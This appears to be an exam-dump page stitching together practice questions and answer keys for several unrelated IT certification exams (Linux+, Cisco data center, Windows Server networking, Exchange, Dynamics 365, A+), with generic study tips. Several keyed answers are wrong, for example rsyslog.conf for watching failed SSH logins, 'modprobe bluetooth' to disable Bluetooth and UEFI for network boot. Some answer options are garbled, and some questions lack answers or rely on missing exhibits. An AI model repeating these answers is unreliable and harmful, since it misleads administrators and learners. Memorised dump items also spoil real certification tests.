CompTIA Linux+ XK0-004 passed!100% Free XK0-004 Exam Dumps

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(LX0-103 + LX0-104) vs. XK0-004

The original Linux + certification was developed by the Linux Professional Institute (LPI) and includes two separate exams. Passing both of these items will get Linux + certification and LPI-certified LPIC-1.

The new Linux + certification contains only one exam (XK0-004) and will be released in April 2019 with major changes in content and format. The original exam consisted of multiple choices and blank questions, and this new single exam format adds PBQ (performance-based questions).

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CompTIA XK0-004 Practice Test Questions(passed!)

https://youtu.be/Y52qqV6UOv8

QUESTION 1
A Linux administrator needs to switch from text mode to GUI. Which of the following runlevels will start the GUI by
default?
A. Runlevel 3
B. Runlevel 4
C. Runlevel 5
D. Runlevel 6
Correct Answer: C
Reference: http://www.linfo.org/runlevel_def.html

QUESTION 2
A system administrator has set up third-party log aggregation agents across several cloud instances. The systems
administrator wants to create a dashboard of failed SSH attempts and the usernames used. Which of the following files
should be watched by the agents?
A. /var/log/audit/audit.log
B. /var/log/kern.log
C. /var/log/monitor
D. /etc/rsyslog.conf
Correct Answer: D

QUESTION 3
An administrator needs to mount the shared NFS file system testhost:/testvolume to mount point /mnt/testvol and make
the mount persistent after reboot. Which of the following BEST demonstrates the commands necessary to accomplish
this task?

Pass4itsure CompTIA Linux+ XK0-004 exam questions q3

A. Option A
B. Option B
C. Option C
D. Option D
Correct Answer: C

QUESTION 4
An administrator needs to change the IP address on a server remotely. After updating the configuration files, a network
restart is needed. However, the administrator fears that when the network connection drops, the network restart script
will be killed before the new IP address has been set.
Which of the following commands would prevent the script from being killed?
A. nohup service network restart
B. service network restart and
C. echo “service network restart” | at now
D. dg service network restart
Correct Answer: A

QUESTION 5
Which of the following configuration files should be modified to disable Ctrl-Alt-Del in Linux?
A. /etc/inittab
B. ~/.bash_profile
C. /etc/securetty
D. /etc/security/limits.conf
Correct Answer: A
Reference: https://www.linuxtechi.com/disable-reboot-using-ctrl-alt-del-keys/

QUESTION 6
A new corporate policy states that Bluetooth should be disabled on all company laptops. Which of the following
commands would disable the use of Bluetooth?
A. echo “blacklist bluetooth” > /etc/modprobe.d/blacklist-bluetooth
B. echo “kill bluetooth” > /etc/modprobe.d/kill-bluetooth
C. echo “modprobe bluetooth” > /etc/modprobe.d/modprbe-bluetooth
D. echo “rmod bluetooth” > /etc/modprobe.d/rmmod-bluetooth
Correct Answer: C

QUESTION 7
Which of the following BEST describes the purpose of the X11 system?
A. X11 provides graphical display capabilities
B. X11 provides command line capabilities
C. X11 provides networking capabilities
D. X11 provides telephony capabilities.
Correct Answer: A
Reference: https://en.wikipedia.org/wiki/X_Window_System

QUESTION 8
An administrator reviews the following configuration file provided by a DevOps engineer:

Pass4itsure CompTIA Linux XK0-004 exam questions q8

Which of the following would the application parsing this file MOST likely have to support?
A. YAML
B. AJAX
C. JSON
D. SOAP
Correct Answer: C

QUESTION 9
Which of the following can be used to boot a DVD from a remote device to initialize a Linux system setup on bare metal
hardware as if it is a local DVD?
A. UEFI
B. PXE
C. NFS
D. GRUB
Correct Answer: A
Reference: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/installation_guide/ch-bootx86

QUESTION 10
A junior administrator of a physical server receives log messages indicating the out-of-memory killer has been active. All
memory slots are in use on the motherboard, but additional disk space is available. Space has been allocated for a
swap file.
Which of the following should the administrator use to reduce the output of memory messages?
A. free : swapoff / swapfile ; swapon -a
B. mkswap /swapfile; swapon ?
C. fallocate ? 2G /swapfile andand swapon ?
D. echo “1” > /proc/meninfo ; swapon / swapfile
Correct Answer: A

QUESTION 11
A systems administrator needs to append output of ls -lha /opt command to the contents of a test.txt file. Which of the
following commands will accomplish this?
A. ls –lha /opt > test.txt
B. ls –lha /opt
C. ls –lha /opt >> test.txt
D. ls –lha /opt

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Start preparing!Cisco 010-151

Exam By:Cisco
Exam Code:010-151
Exam Name:Cisco Certified Technician Data Center
Related Certification(s):CCT Data Center

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You need to know

How do you know the content of the exam? The terrible answer is that you can’t do it at least. No matter how much you learn, you may encounter problems with any material you have never seen before. However, please be assured that there is only one place where you can find most of the topics to be discussed in the exam. Cisco publishes an exam description page for each exam they manage.

  • Data Center Basics 17%
  • Cisco Equipment and Related Hardware 25%
  • Cisco UCS and Cisco NX-OS software operation 25%
  • Service-Related Knowledge 33%

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Good study materials

You need very good learning materials.As a Cisco Certified Trainer, I have the experience of collecting and evaluating which resources are best for learners to make the most of their experience. This is my recommendations for Cisco learning materials:

Cisco Certified Curriculum

Written by experts in the field and tend to be consistent with the exam objectives. This does not mean that the Cisco Certified Technician Data Center exam questions will be written word by word directly from the content, but most of the exam’s concepts will be covered in detail in the exam content. Here, it is useful to list skills. I use the skill list as a guide to the content.

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Take notes

I write down any content that might be suitable for the exam. The act of writing information fixes it in my short-term memory.

Practice

Practice is very important. It is very important to actually set up and manage the system for which the certification exam is to be conducted. Find some exam skills and get an idea of the actual situation of the exam.

Manage exam time

When you start the exam, the system will provide you with the total number of questions and available time. Do the calculations quickly (you will have something to write) and find out how long each problem is. Although I won’t spend time on every issue, I will put it in my mind to make sure I don’t run out of time.

If you spend a few minutes on the question and don’t have an answer, guess, mark it out and continue. If time permits, you can review the question back, but only if you are sure of the correct answer or if your guess is wrong.

Success in the 010-151 exam: Pass4itsure Q&As

QUESTION 1
Which five things should the administrator verify after performing maintenance or replacing a blade server? (Choose
five.)
A. blade server status
B. hard drive status
C. host OS boot status
D. CPU status
E. mezzanine card status
F. memory DIMM status
G. fan and power status
Correct Answer:

QUESTION 2
Which three options are the minimum browser requirements to log into the Cisco CIMC GUI? (Choose three.)
A. Java 1.6 or higher
B. HTTP and HTTPS enabled
C. Adobe Flash Player 10 or higher
D. Internet Explorer version 10
E. Firefox 26.0
F. Adobe Shockwave Player 11 or higher
Correct Answer: ABC

QUESTION 3
Which command syntax is correct to reset the admin password when the switch is in the kickstart prompt “switch(boot)
#”?
A. exec -> admin-password
B. connect local-mgmt -> admin-password
C. configure terminal -> admin-password
D. connect nxos -> admin-password
E. admin-password
Correct Answer: C

QUESTION 4
Up to what speed can Category 5 UTP cable transmit data?
A. 10 Mb/s
B. 100 Mb/s
C. 1000 Mb/s
D. 10000 Mb/s
Correct Answer: C

QUESTION 5
Which two Cisco Nexus switches provide the foundation of the Cisco Application Centric Infrastructure? (Choose two.)
A. Cisco Nexus 7718 switch
B. Cisco Nexus 9508 switch
C. Cisco Nexus 7710 switch
D. Cisco Nexus 93128TX switch
E. Cisco Nexus 6004 switch
Correct Answer: BD

QUESTION 6
Refer to the exhibit.

Pass4itsure 010-151 exam questions-q6

Where is the best place to see bootflash free space?
A. A – Available Memory
B. B – Total Memory
C. C – Local Storage Information
D. D – High Availability Details
Correct Answer: C

QUESTION 7
Refer to the exhibit.

Pass4itsure 010-151 exam questions-q7

Where is the best place to see the power supply status of the blade server enclosure?
A. A – Chassis 1
B. B – Chassis 1 – PSUs
C. C – Chassis1 – Servers
D. D – Rack-Mounts – Servers
E. E – Fabric Interconnects A – PSUs
Correct Answer: B

QUESTION 8
What does the system status LED look like when an over temperature or major alarm occurs on the Cisco UCS 6120XP
Fabric Interconnect?
A. Amber
B. Red
C. Blinking amber
D. Blinking red
Correct Answer: C

QUESTION 9
Which supervisor module is supported by a Cisco Nexus 7700 Series Switch?
A. first-generation supervisor module
B. second-generation supervisor module (Sup2)
C. second-generation supervisor enhanced module (Sup2E)
D. third-generation supervisor enhanced module (Sup3E)
Correct Answer: C

QUESTION 10
Which three troubleshooting procedures do you perform when there is no power to a Cisco UCS B250 M2 Blade
Server? (Choose three.)
A. Decommission and acknowledge the blade.
B. Check the back of the blade to ensure that there is no damage to the connection that goes into chassis.
C. Reseat the memory DIMMs.
D. Check the CPU sockets for bent pins.
E. Reseat the blade in the same slot in the chassis.
F. Move the blade to another slot in the chassis.
Correct Answer: BEF

QUESTION 11
Which two major components does a Cisco Nexus 1000V Series Switch have? (Choose two.)
A. Virtual Fiber Channel Module
B. Virtual Ethernet Module
C. Virtual Supervisor Module
D. Virtual Memory Controller Module
E. Virtual Network Module
Correct Answer: BC

QUESTION 12
Refer to the exhibit.

Pass4itsure 010-151 exam questions-q12

What is the name of this Cisco Nexus 3000 Series Switch?
A. Cisco Nexus 3132Q
B. Cisco Nexus 3172PQ
C. Cisco Nexus 3524
D. Cisco Nexus 3016
Correct Answer: A

QUESTION 13
Refer to the exhibit.

Pass4itsure 010-151 exam questions-q13

Which item does A represent?
A. Emulex Adapter Card for Cisco UCS B420 M3 Blade Servers
B. Virtual Interface Card for Cisco UCS B420 M3 Blade Servers
C. mLOM for Cisco UCS B420 M3 Blade Servers
D. Virtual Emulex Adapter Card for Cisco UCS B420 M3 Blade Servers
E. SuperCap module for Cisco UCS B420 M3 Blade Servers
Correct Answer: C

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70-741-exam-step

Exam By:Microsoft
Exam Code:70−741
Exam Name:Networkingwith Windows Server2016
Related Certification(s):MCSA

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[New Version] Best Microsoft 70-742 Dumps Practice Test Exam Questions And Answers Youtube Identity with Windows Server 2016

Taking a Microsoft certification exam “cold” is a good way to end up retaking a Microsoft certification exam.

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  • Implement Domain Name System (DNS) (15-20%)
  • Implement DHCP and IPAM (25-30%)
  • Implement Network Connectivity and Remote Access Solutions (20-25%)
  • Implement Core and Distributed Network Solutions (15-20%)
  • Implement an Advanced Network Infrastructure (15-20%)

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Microsoft Certified Curriculum

Visit the official Microsoft course: 20741A: Networking with Windows Server 2016

Written by experts in the field and tend to be consistent with the exam objectives. This does not mean that the Microsoft Certified Network Assistant exam questions will be written word by word directly from the content, but most of the exam’s concepts will be covered in detail in the exam content. Here, it is useful to list skills. I use the skill list as a guide to the content.

Publisher Learning Guide

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I write down any content that might be suitable for the exam. The act of writing information fixes it in my short-term memory.

Step 4. Practice

Practice is very important. It is very important to actually set up and manage the system for which the certification exam is to be conducted. Find some exam skills and get an idea of the actual situation of the exam.

Step 5. Manage exam time

When you start the exam, the system will provide you with the total number of questions and available time. Do the calculations quickly (you will have something to write) and find out how long each problem is. Although I won’t spend time on every issue, I will put it in my mind to make sure I don’t run out of time.

If you spend a few minutes on the question and don’t have an answer, guess, mark it out and continue. If time permits, you can review the question back, but only if you are sure of the correct answer or if your guess is wrong.

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Latest Microsoft 70-741 Actual Free Exam Questions

QUESTION 1
You have a server named Server1 that runs Windows Server 2016. You install the Hyper-V server role on Server1.
Server1 has eight network adapters that are dedicated to virtual machines. The network adapters are Remote Direct
Memory
Access (RDMA)-enabled.
You plan to use Software Defined Networking (SDN). You will host the virtual machines for multiple tenants on the
Hyper-V host.
You need to ensure that the network connections for the virtual machines are resilient if one or more physical network
adapters fail.
What should you implement?
A. single root I/O virtualization (SR-IOV)
B. NIC Teaming on the Hyper-V host
C. virtual Receive-side Scaling (vRSS)
D. Switch Embedded Teaming (SET)
Correct Answer: D

QUESTION 2
You have servers named Server1 and DHCP1. Both servers run Windows Server 2016. DHCP1 contains an IPv4 scope
named Scope1.
You have 1,000 client computers.
You need to configure Server1 to lease IP addresses for Scope1. The solution must ensure that Server1 is used to
respond to up to 30 percent of the DHCP client requests only.
You install the DHCP Server server role on Server1.
What should you do next?
A. From the DHCP console, run the Configure Failover wizard.
B. From Server Manager, install the Network Load Balancing feature.
C. From Server Manager, install the Failover Clustering feature.
D. From the DHCP console, create a superscope.
Correct Answer: A
https://technet.microsoft.com/en-us/library/hh831385(v=ws.11).aspx

QUESTION 3
Note: This question is part of a series of questions that present the same scenario. Each question in the series contains
a unique solution that might meet the stated goals. Some question sets might have more than one correct solution,
while
others might not have a correct solution.
After you answer a question in this sections, you will NOT be able to return to it. As a result, these questions will not
appear in the review screen.
You have a server named Server1 that has the Network Policy and Access Services server role installed.
You create a Shared Secret Network Policy Server (NPS) template named Template1.
You need to view the shared secret string used for Template1.
Solution: From the Network Policy Server console, you export the templates, and you view the exported XML file.
Does this meet the goal?
A. Yes
B. No
Correct Answer: B

QUESTION 4
You have a server named Server1 that runs Windows Server 2016.
You install the DHCP Server server role on Server1.
You need to authorize DHCP on Server1.
What should you run?
A. dism.exe
B. dns.exe
C. dnscmd.exe
D. netsh.exe
E. Set-DhcpServerDatabase
F. Set-DhcpServerv4DnsSetting
G. Set-DhcpServerv6DnsSetting
H. Set-DNSServerSetting
Correct Answer: D

QUESTION 5
Note: This question is part of a series of questions that present the same scenario. Each question in the series contains
a unique solution that might meet the stated goals. Some question sets might have more than one correct solution,
while
others might not have a correct solution.
After you answer a question in this sections, you will NOT be able to return to it. As a result, these questions will not
appear in the review screen.
Your network contains an Active Directory domain named adatum.com. The domain contains two DHCP servers named
Server1 and Server2.
Server1 has the following IP configuration.
Server2 has the following IP configuration.
Some users report that sometimes they cannot access the network because of conflicting IP addresses.
You need to configure DHCP to avoid leasing addresses that are in use already.
Solution: On Server1, you modify the EndRange IP address of the scope.
Does this meet the goal?
A. Yes
B. No
Correct Answer: A

QUESTION 6
Your network contains an Active Directory domain named contoso.com that contains a domain controller named DC1.
All DNS servers for the network run BIND 10.
Your perimeter network contains a DHCP server named DHCP1 that runs Windows Server 2016. DHCP1 is a member
of a workgroup named WORKGROUP. DHCP1 provides IP address leases to guests accessing the Wi-Fi network.
Several engineers access the network remotely by using a VPN connection to a remote access server that runs
Windows Server 2016. All of the VPN connections use certificate-based authentication and are subject to access
policies in
Network Policy Server (NPS). Certificates are issued by an enterprise certification authority (CA) named CA1.
All Windows computers on the network are activated by using Key Management Service (KMS). On-premises users use
Remote Desktop Services (RDS).
You plan to deploy IP Address Management (IPAM) to the network.
Which action can you perform on the network by using IPAM?
A. Audit user and device logon event from NPS.
B. Audit logon events on the RDS server.
C. Audit configuration changes to the remote access server.
D. Audit certificate enrollment requests on CA1.
Correct Answer: A
https://blogs.technet.microsoft.com/canitpro/2013/08/15/step-by-step-setup-windows-server-2012-ipam-in-yourenvironment/

QUESTION 7
Your network contains an Active Directory domain named contoso.com. The domain contains a DNS server named
Server1.
Server1 is configured to use a forwarder named Server2 that has an IP address of 10.0.0.10. Server2 can resolve
names hosted on the Internet successfully. Server2 hosts a primary DNS zone named adatum.com.
On Server1, you have the following zone configuration.

Pass4itsure 70-741 exam questions-q7

For each of the following statements, select Yes if the statement is true. Otherwise, select No.
Hot Area:

Pass4itsure 70-741 exam questions-q7-2

QUESTION 8
You have a Scale-Out File Server that has a share named Share1. Share1 contains a virtual disk file named Disk1.vhd.
You plan to create a guest failover cluster.
You need to ensure that you can use the virtual disk as a shared virtual disk for the gust failover cluster.
Which cmdlet should you use?
A. Optimize VHD
B. Optimize VHDSet
C. Convert-VHD
D. Set-VHD
Correct Answer: C

QUESTION 9
You have a server named Server1 that runs Windows Server 2016. Server1 is located on the perimeter network, and
only inbound TCP port 443 is allowed to connect Server1 from the Internet.
You install the Remote Access server role on Server1.
You need to configure Server1 to accept VPN connections over port 443.
Which VPN protocol should you use?
A. PPTP
B. SSTP
C. L2TP
D. IKEv2
Correct Answer: B
https://technet.microsoft.com/en-us/library/dd458955(v=ws.10).aspx

QUESTION 10
Your network contains multiple wireless access points (WAPs) that use WPA2-Personal authentication. The network
contains an enterprise root certification authority (CA).
The security administrator at your company plans to implement WPA2-Enterprise authentication on the WAPs.
To support the authentication change, you deploy a server that has Network Policy Server (NPS) installed.
You need to configure NPS to authenticate the wireless clients.
What should you do on the NPS server?
A. Add RADIUS clients and configure network policies.
B. Create a remote RADIUS server group and configure connection request policies.
C. Create a remote RADIUS server group and install a server certificate.
D. Add RADIUS clients and configure connection request policies.
Correct Answer: A
https://ittrainingday.com/2013/12/25/how-to-configure-a-windows-radius-server-for-802-1x-wireless-or-wiredconnections/

QUESTION 11
You have an IP Filters Network Policy Server (NPS) template that is used by an NPS policy. The IP filters are
configured as shown in the following exhibit.

Pass4itsure 70-741 exam questions-q11

Use the drop-down menus to select the answer choice that completes each statement based on the information
presented in the graphic. NOTE: each correct selection is worth one point.
Hot Area:

Pass4itsure 70-741 exam questions-q11-2

QUESTION 12
You have multiple servers that run Windows Server 2016. You have a server named Server1 that is configured
as a domain controller and a DNS server.
You need to create an Active Directory-integrated zone on Server1.
What should you run?
A. dism.exe
B. dns.exe
C. dnscmd.exe
D. netsh.exe
E. Set-DhcpServerDatabase
F. Set-DhcpServerv4DnsSetting
G. Set-DhcpServerv6DnsSetting
H. Set-DNSServerSetting
Correct Answer: C

QUESTION 13
Note: This question is part of a series of questions that present the same scenario. Each question in the series contains
a unique solution that might meet the stated goals. Some question sets might have more than one correct solution,
while
others might not have a correct solution.
After you answer a question in this sections, you will NOT be able to return to it. As a result, these questions will not
appear in the review screen.
You have a server named Server1 that has the Network Policy and Access Services server role installed.
You create a Shared Secret Network Policy Server (NPS) template named Template1.
You need to view the shared secret string used for Template1.
Solution: From Windows PowerShell, you run Get-NpsSharedSecretTemplate -Name Template1 .
Does this meet the goal?
A. Yes
B. No
Correct Answer: B

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Exam MS-202: Microsoft 365 Messaging Administrator Certification Transition: https://www.microsoft.com/en-us/learning/exam-ms-202.aspx

This exam is intended only for candidates who have taken Exam 70-345: Designing and Deploying Microsoft Exchange Server 2016. If you have not taken Exam 345, you will not earn certification by taking this exam.

Candidates for this exam are Messaging Administrators who deploy, configure, manage, troubleshoot, and monitor recipients, permissions,
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  • Manage recipients and devices (10-15%)
  • Plan and implement a hybrid configuration and migration (20-25%)
  • Secure the messaging environment (35-40%)

Latest Microsoft other Certification MS-202 Exam Practice Test Questions and Answers

QUESTION 1
You have a hybrid deployment of Microsoft Exchange Server 2019 and Microsoft Office 365. In Exchange Online, you
create an archive mailbox for each user.
Users who have a mailbox in the on-premises Exchange organization report that they cannot access their archive
mailbox. You verify that users who have a mailbox in Office 365 can access their archive mailbox successfully.
You need to resolve the issue.
What should you modify?
A. the sharing policy
B. the mailbox permissions
C. the organization relationship
D. the device tenant policy
Correct Answer: C
References: https://docs.microsoft.com/en-us/powershell/module/exchange/sharing-and-collaboration/set-organizationrelationship?view=exchange-ps

 

QUESTION 2
You need to recommend a deployment plan that meets the technical requirements for the mailbox databases. What
should you include in the recommendation?
A. Deploy 10 Exchange servers to the main office and one Exchange server to each branch office. Create two mailbox
databases on each server.
B. Deploy one Exchange server to each office. Create two mailbox databases on each server. Create copies of the
databases on another server.
C. Deploy 11 Exchange servers to the main office and one Exchange server to each branch office. Create one mailbox
database on each server.
D. Deploy one Exchange server to the main office and two Exchange servers to each branch office. Create one mailbox
database on each server.
Correct Answer: B


QUESTION 3
You have a Microsoft Exchange Server 2019 organization that has the topology shown in the following exhibit.pass4itsure ms-202 exam question q3

The organization contains the servers shown in the following table.

pass4itsure ms-202 exam question q3-1

The organization contains the mailboxes shown in the following table.

pass4itsure ms-202 exam question q3-2

For each of the following statements, select Yes if the statement is true. Otherwise, select No.
Hot Area:

pass4itsure ms-202 exam question q3-3

Correct Answer:

pass4itsure ms-202 exam question q3-4

 

QUESTION 4
You have a Microsoft Exchange Server 2013 organization that has the following configurations:
The forest functional level of Active Directory in Windows Server 2008 R2
The domain controllers in Active Directory Windows Server 2012 R2.
The Exchange servers run Windows Server 2012 Datacenter
You plan to upgrade the organization to Exchange Server 2019.
You need to ensure that the organization meets the minimum supported requirements for the upgrade.
What should you do?
A. Raise the forest functional level to Windows Server 2012 R2
B. Upgrade the domain controllers to Windows Server 2016
C. Upgrade the Exchange servers to Windows Server 2016
D. Upgrade the Exchange servers to Windows Server 2019
Correct Answer: A
References: https://docs.microsoft.com/en-us/exchange/plan-and-deploy/system-requirements?view=exchserver-2019

 

QUESTION 5
You have a Microsoft Exchange Server 2019 hybrid deployment that contains the users shown in the following table.pass4itsure ms-202 exam question q5

You need to provide each user with an archive mailbox that is stored in Exchange Online.
Which admin center should you use to perform the configuration for each user? To answer, drag the appropriate admin
centers to the correct users. Each admin center may be used once, or not at all.
You may drag the split bar between the panes or scroll to view content.
NOTE: Each correct selection is worth one point.
Select and Place:

pass4itsure ms-202 exam question q5-1

Correct Answer:

pass4itsure ms-202 exam question q5-2

 

QUESTION 6
You need to implement a solution that meets the technical requirements for the retention of junk email, sent items, and
deleted items.
What is the minimum number of retention policies and retention tags you should use? To answer, select the appropriate
options in the answer area.
NOTE: Each correct selection is worth one point.
Hot Area:pass4itsure ms-202 exam question q6

Correct Answer:

pass4itsure ms-202 exam question q6-1

 

QUESTION 7
Your company has a Microsoft Exchange Server 2019 organization.
You are auditing the litigation hold on the mailboxes of the company\\’s research and development department.
You discover that the mailbox of a user named User1 has a Litigation Hold enabled.
You need to discover who placed the Litigation hold on the mailbox of User1, and when the Litigation Hold was
enabled.
Which two actions should you perform? Each correct answer presents part of the solution.
NOTE: Each correct selection is worth one point.
A. From the Exchange admin center, run an In-place eDiscovery and Hold report.
B. From the Exchange admin center, run a per-mailbox Litigation Hold report.
C. From PowerShell, run the Get-MailboxStatistics cmdlet.
D. From PowerShell, run the Get-Mailbox cmdlet.
Correct Answer: BC

 

QUESTION 8
Your network contains an Active Directory domain named Fabrikam.com. You have a Microsoft Exchange Server 2019
an organization that contains two Mailbox servers. The servers are members of a database availability group (DAG).
You plan to implement an Exchange hybrid deployment.
You are evaluating the use of the Exchange Modern Hybrid connection option during the hybrid deployment.
What are two benefits of using Exchange Modern Hybrid instead of Exchange Classic Hybrid? Each correct answer
presents part of the solutions.
NOTE: Each correct selection is worth one point.
A. uses Organization Configuration Transfer to configure Exchange Online
B. allows federated sharing between the on-premises organization and Exchange Online
C. allows the use of Microsoft Azure Multi-Factor Authentication (MFA) for on-premises users
D. eliminates the need to purchase publicly trusted certificates for communication between the on-premises organization
and Exchange Online
E. preserves mailbox quotas when mailboxes are moved between the on-premises organization and Exchange Online
Correct Answer: AD

 

QUESTION 9
You need to recommend a solution to meet the technical requirements for the managers. What should you recommend
creating for the mailboxes of the managers?
A. a transport agent
B. a separate Exchange server
C. a separate mailbox database
D. an audit policy
Correct Answer: C


QUESTION 10
You have a Microsoft 365 subscription that uses a default domain named contoso.com.
Users report that email messages from a domain named fabrikam.com are identified as spam even though the
messages are legitimate.
You need to prevent messages from fabrikam.com from being identified as spam.
What should you do?
A. Edit the default mail flow rule to bypass the spam filter.
B. Create a new remote domain.
C. Edit a spam filter policy.
D. Create a new malware filter policy.
Correct Answer: C

 

QUESTION 11
Use the drop-down menus to select the answer choice that completes each statement based on the information
presented in the graphic.
NOTE: Each correct selection is worth one point.
Hot Area:pass4itsure ms-202 exam question q11

Correct Answer:

pass4itsure ms-202 exam question q11-1

 

QUESTION 12
Note: This question is part of a series of questions that present the same scenario. Each question in the series contains
a unique solution that might meet the stated goals. Some question sets might have more than one correct solution,
while others might not have a correct solution.
After you answer a question in this section, you will NOT be able to return to it. As a result, these questions will not
appear in the review screen.
You have a Microsoft Exchange server 2019 organization.
You discover that users rarely delete items from their Sent Items folder and their Deleted Items folder.
You need to recommend a solution to automatically reduce the size of the primary mailbox of each user.
Solution: You recommend configuring a retention policy that contains two default policy tags.
Does this meet the goal?
A. Yes
B. No
Correct Answer: B
This would work and it needs no user intervention but it would apply to all folders. Furthermore, you only need one
default tag, not two.

 

QUESTION 13
You have a Microsoft Exchange Server 2019 organization that contains 5,000 mailboxes.
You purchase a Microsoft 365 E5 subscription and create a hybrid deployment. You configure all MX records to point to
Exchange Online.
You purchase 2,000 Microsoft 365 E5 licenses, and you migrate 2,000 mailboxes to Exchange Online. You need to
identify which additional licenses must be purchased. The solution must minimize costs.
Which licenses should you identify?
A. an Exchange Online Protection (EOP) license for each on-premises mailbox
B. Microsoft Office 365 Enterprise E1 licenses for the on-premises users
C. Enterprise Mobility + Security E5 licenses for the Exchange Online users
D. Microsoft Azure Active Directory Premium P2 licenses for all users
Correct Answer: B
References: https://products.office.com/en-gb/business/compare-more-office-365-for-business-plans

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Exam MB-210: Microsoft Dynamics 365 for Sales Customization and Configuration: https://www.microsoft.com/en-us/learning/exam-MB-210.aspx Candidates for this exam are Dynamics 365 functional consultants with sales expertise. Candidates are responsible for implementing solutions that support a sales life cycle to run efficiently and effectively to meet revenue targets, business strategies, and company objectives.

Candidates are responsible for configuring and expanding the core functionality of Leads, Contacts, Accounts, Opportunities and supporting
entities to map to the sales processes in place at the company. They identify opportunities to use PowerApps for mobile applications, Microsoft Flow for application integration, business process flows, and other automation tools to construct an application that supports and accelerates the “lead to cash journey.”

pass4itsure MB-210 exam Skills measured

Perform configuration (40-45%)

  • Configure sales settings
  • Configure processes
  • Create and configure sales visualizations
  • Configure integration with external sales applications

Manage core sales entities (20-25%)

  • Create and manage leads
  • Create and manage opportunities

Manage sales entities (35-40%)

  • Create and manage quotes
  • Create and manage sales order processing
  • Create and manage product and product catalog

Latest Microsoft Dynamics 365 for Sales MB-210 Exam Practice Test Questions and Answers

QUESTION 1
You are a Dynamics 365 for Sales administrator.
The sales team is having difficulty locating related products.
You need to make it easier for the sales team to find groups of products that are similar.
What should you use?
A. Related products
B. Product bundles
C. Product families
D. Product unit groups
Correct Answer: A
References: https://docs.microsoft.com/en-us/dynamics365/customer-engagement/sales-enterprise/define-related-products-increase-chances-sales

 

QUESTION 2
You manage Dynamics 365 environments for client organizations.
A client suspects they are losing business. The client must be able to capture reasons each time an opportunity is lost.
You need to configure Dynamics 365 to ensure that you can capture the required information.
Which field should you configure?
A. Opportunity status reason
B. Opportunity close status
C. Opportunity status
D. Opportunity close status reason
Correct Answer: A

 

QUESTION 3
You are a salesperson using Dynamics 365 for Sales.
You need to be able to modify the product price on an active invoice that uses current pricing.
What should you do?
A. Set the Invoice Product to Override Price
B. Set an End Date for the Price List to ensure the Price List is expired
C. Set an End Date for the Price List to ensure the Price List is not expired
D. Set the Invoice Product to Use Default
Correct Answer: A

 

QUESTION 4
You manage a Dynamics 365 environment for Sales. You create the following rule items to respond to inbound emails
from potential customers:
Emails that contain the words support or help must create a new high-priority case.
Emails that contain the words buy or purchase must create a warm-lead record. The words buy and purchase are more
important than support or help.
Emails that specifically mention ProductA must always create a hot lead for that product regardless of other words
mentioned.
If none of the targeted words are present in an email, a cold lead must be created.
You need to configure the order in which rule items are processed.
In which order should you run the rule items? To answer, move all actions from the list of actions to the answer area and
arrange them in the correct order.
Select and Place:pass4itsure mb-210 exam question q4

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pass4itsure mb-210 exam question q4-1

 

QUESTION 5
You have opportunities that have values in multiple currencies. The currency exchange rate automatically updates.
You need to ensure that currency values are accurately reported.
When is the new currency exchange rate applied to the opportunity records?
A. when a change is made to a currency field
B. when a user opens the opportunity record
C. when a user manually recalculates opportunity
D. when the calculate rollup field system job for the msdyn_projectteam entity runs
Correct Answer: A

 

QUESTION 6
The product development team for a toy company creates a new remote-control toy.
You need to create the necessary records and record relationships to sell the product.
Which five records and/or components should you configure in sequence? To answer, move the appropriate records
and/or components from the list of records and components to the answer area and arrange them in the correct order.
NOTE: More than one order of answer choices is correct. You will receive credit for any of the correct orders you select.
Select and Place:pass4itsure mb-210 exam question q6

Correct Answer:

pass4itsure mb-210 exam question q6-1

 

QUESTION 7
You are a Dynamics 365 for Sales administrator. You are setting up a product catalog.
You need to configure the base unit group.
Which quantity or measurement should you configure?
A. the highest needed to sell the product or service
B. the least frequently used to sell the service
C. the most frequently used to sell the service
D. the lowest needed to sell the product or service
Correct Answer: D
References: https://docs.microsoft.com/en-us/dynamics365/customer-engagement/sales-professional/create-unit-group-add-units

 

QUESTION 8
A company uses Dynamics 365 for Sales.
You create a new quote and associate an opportunity to the quote.
You need to display all your items from the opportunity in the quote.
What should you do?
A. Activate the quote
B. Select Get Products from the command bar in the Quote entity
C. Select Add Line Items on the Opportunity entity
D. Select Recalculate from the command bar on the Opportunity entity
Correct Answer: B

 

QUESTION 9
A customer places an order that includes all of the products from a previous order.
You need to add products from the previous order to the new order.
From which sources can you retrieve the list of products? To answer, select the appropriate options in the answer area.
NOTE: Each correct selection is worth one point.
Hot Area:pass4itsure mb-210 exam question q9

Correct Answer:

pass4itsure mb-210 exam question q9-1

 

QUESTION 10
Note: This question is part of a series of questions that present the same scenario. Each question in the series contains
a unique solution that might meet the stated goals. Some question sets might have more than one correct solution,
while
others might not have a correct solution.
After you answer a question, you will NOT be able to return to it. As a result, these questions will not appear in the
review screen.
A company plans to move its headquarters from the United States to Europe.
You need to round all currency values to four decimal places and display the correct currency symbol.
Solution: Change the default currency.
Does the solution meet the goal?
A. Yes
B. No
Correct Answer: B

 

QUESTION 11
A company uses Dynamics 365 for Sales.
You need to change the description field on the quote.
Which state allows you to make the change?
A. Closed
B. Active
C. Draft
D. Won
Correct Answer: C

 

QUESTION 12
You are a salesperson using Dynamics 365. You receive customer phone calls and manage leads.
You need to qualify leads and send phone calls to sales representatives.
How should you manage each of the following situations? To answer, select the appropriate options in the answer area.
NOTE: Each correct selection is worth one point.
Hot Area:pass4itsure mb-210 exam question q12

Correct Answer:

pass4itsure mb-210 exam question q12-1

 

QUESTION 13
You are a Dynamics 365 for Sales environment.
You need to implement the Social Selling Assistant.
What should you configure? To answer, select the appropriate options in the answer area.
NOTE: Each correct selection is worth one point.
Hot Area:pass4itsure mb-210 exam question q13

Correct Answer:

pass4itsure mb-210 exam question q13-1

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Latest effective CompTIA Other Certification 220-1002 Exam Practice Tests

QUESTION 1
A computer becomes infected with malware, which manages to steal all credentials stored on the PC. The malware then
uses elevated credentials to infect all other PCs at the site. Management asks the IT staff to take action to prevent this
from reoccurring. Which of the following would BEST accomplish this goal?
A. Use an antivirus product capable of performing heuristic analysis
B. Use a host-based intrusion detection system on each computer
C. Disallow the password caching of accounts in the administrator’s group
D. Install a UTM in between PC endpoints to monitor for suspicious traffic
E. Log all failed login attempts to the PCs and report them to a central server
Correct Answer: A

 

QUESTION 2
A technician is installing a private PC in a public workspace. Which of the following password practices should the
technician implement on the PC to secure network access?
A. Remove the guest account from the administrator’s group
B. Disable single sign-on
C. Issue a default strong password for all users
D. Require authentication on wake-up
Correct Answer: D

 

QUESTION 3
